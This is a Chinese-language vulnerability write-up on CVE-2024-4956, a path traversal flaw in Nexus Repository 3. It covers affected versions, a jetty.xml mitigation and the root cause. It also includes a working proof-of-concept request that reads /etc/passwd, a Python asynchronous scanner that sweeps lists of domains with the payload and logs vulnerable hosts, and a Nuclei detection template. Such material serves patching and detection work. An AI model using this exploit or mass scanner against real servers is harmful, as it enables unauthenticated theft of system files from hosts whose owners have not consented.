漏洞简介:
Nexus Repository Manager 是一个存储库管理器,用于组织、存储和分发开发所需的工件。
在 Nexus Repository 3.68.1 之前的版本中发现了一个路径遍历漏洞。此漏洞允许攻击者构造一个 URL 来下载 Nexus Repository 应用程序范围之外的系统文件,而无需任何身份验证。这会带来重大风险,因为它可能会暴露敏感的系统文件,并可能危及安装 Nexus Repository 的环境的安全。
建议尽快将 Nexus Repository 更新至 3.68.1 或更高版本,以减轻此漏洞的影响。
漏洞原理:
攻击者可以制作一个 URL 来返回任何文件作为下载,包括 Sonatype Nexus Repository 3 应用程序范围之外的系统文件。
漏洞利用前提:
攻击者必须具有 Sonatype Nexus Repository 3 实例的网络访问权限。
漏洞利用版本
该漏洞影响 Sonatype Nexus Repository Manager 3.0 至 3.68.0 版本。
防御措施
升级 Nexus Repository 是消除此漏洞的推荐方法。但是,对于无法立即升级的部署,可以使用即时缓解选项:
参考:
● https://support.sonatype.com/hc/en-us/articles/29412417068819
修复建议:
l 定期更新系统补丁,减少系统漏洞,提升服务器的安全性。
l 加强系统和网络的访问控制,修改防火墙策略,关闭非必要的应用端口或服务,减少将危险服务(如SSH、RDP等)暴露到公网,减少攻击面。
l 使用企业级安全产品,提升企业的网络安全性能。
l 加强系统用户和权限管理,启用多因素认证机制和最小权限原则,用户和软件权限应保持在最低限度。
l 启用强密码策略并设置为定期修改。
漏洞复现
GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
通过上述 PoC,可以看到 /etc/passwd 文件被访问:
补丁分析:
根据其修复措施去推
1:编辑 Sonatype Nexus 存储库 jetty.xml
对于 Sonatype Nexus Repository 的每个实例,编辑并从文件中删除这一行: (basedir)/etc/jetty/jetty.xml
<New id="NexusHandler" class="org.sonatype.nexus.bootstrap.jetty.InstrumentedHandler">
<Arg>
<New id="NexusWebAppContext" class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="descriptor"><Property name="jetty.etc"/>/nexus-web.xml</Set>
<Set name="resourceBase"><Property name="karaf.base"/>/public</Set>
<Set name="contextPath"><Property name="nexus-context-path"/></Set>
<Set name="throwUnavailableOnStartupException">true</Set>
<Set name="configurationClasses">
<Array type="java.lang.String">
<Item>org.eclipse.jetty.webapp.WebXmlConfiguration</Item>
</Array>
</Set>
</New>
</Arg>
</New>
重新启动 Nexus Repository 以使更改生效。
注意:
此更改可防止利用该漏洞,但也会阻止应用程序从包含以下内容的目录中加载文件: (installdir)/public
favicon.ico
favicon-16x16.png
favicon-32x32.png
mstile-70x70.png
mstile-144x144.png
mstile-150x150.png
mstile-310x150.png
mstile-310x310.png
OSS-LICENSE.html
PRO-LICENSE.html
robots.txt
safari-pinned-tab.svg
apple-touch-icon.png
browserconfig.xml
COPYRIGHT.html
2.AWS WAF 核心规则集 - GenericLFI_URIPATH
如果对 Nexus Repository 的访问受到 AWS WAF 规则保护,则GenericLFI_URIPATH规则可以防止此漏洞。
漏洞原因:JettyURIUtil.canonicalPath()也将空字符串当成了目录,这是导致此漏洞的根本原因:
脚本编写:
python格式
通过扫描指定域名和负载列表中的目标,并检查响应内容中是否存在"root:"关键字。如果存在,则将目标URL记录到successful_urls.txt文件中,并增加成功尝试计数。
代码中使用了aiohttp库来进行异步HTTP请求,并使用colorama库来进行输出颜色设置。在扫描过程中,它将发送HTTP GET请求到每个目标URL,并检查响应内容中是否存在"root:"关键字。如果存在,则将目标URL记录到successful_urls.txt文件中,并增加成功尝试计数。
import asyncio
import aiohttp
import argparse
from colorama import init, Fore, Style
RATE_LIMIT = 15
DELAY = 0.5 # 500 ms delay
TIMEOUT = 3 # 3 seconds timeout
init(autoreset=True)
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
successful_attempts = 0
ascii_art = """
"""
print(Fore.CYAN + ascii_art + Style.RESET_ALL)
async def send_request(session, domain, payload, index, total):
global successful_attempts
url = f"{domain}/{payload}"
print(f"Testing URL {index + 1}/{total}: {domain}", end='', flush=True)
try:
async with session.get(url, headers=headers, ssl=False, timeout=TIMEOUT) as response:
content = await response.text()
if "root:" in content:
with open("successful_urls.txt", "a") as file:
file.write(f"{domain}\n")
successful_attempts += 1
print(f" {Fore.GREEN}{Style.BRIGHT}Success")
else:
print(f" {Fore.RED}{Style.BRIGHT}Fail")
except asyncio.TimeoutError:
print(f" {Fore.RED}{Style.BRIGHT}Timeout")
except Exception as e:
print(f" {Fore.RED}{Style.BRIGHT}Fail")
async def main(domains_file, payloads_file):
global successful_attempts
async with aiohttp.ClientSession() as session:
with open(domains_file, "r") as file:
domains = file.read().splitlines()
with open(payloads_file, "r") as file:
payloads = file.read().splitlines()
total_targets = len(domains) * len(payloads)
print(f"{Fore.BLUE}Total targets to scan: {total_targets}")
index = 0
for domain in domains:
domain = domain.strip()
if not domain.startswith('http://') and not domain.startswith('https://'):
domain = 'http://' + domain
for payload in payloads:
await send_request(session, domain, payload, index, total_targets)
index += 1
print(f"{Fore.BLUE}Task execution completed.")
print(f"{Fore.GREEN}Successful attempts: {successful_attempts}/{total_targets}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Scan domains with multiple payloads")
parser.add_argument("-d", "--domains", required=True, help="File containing list of domains")
parser.add_argument("-p", "--payloads", required=True, help="File containing list of payloads")
args = parser.parse_args()
asyncio.run(main(args.domains, args.payloads))
YAML格式
id: CVE-2024-4956
info:
name: Directory Traversal in Nexus Repository 3 (CVE-2024-4956)
author: erickfernandox
reference:
severity: high
tags: cve,traversal
requests:
- method: GET
path:
- "{{BaseURL}}/%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
REF:
● https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16
● https://support.sonatype.com/hc/en-us/articles/29412417068819
● https://github.com/erickfernandox/CVE-2024-4956/blob/main/CVE-2024-4956.yaml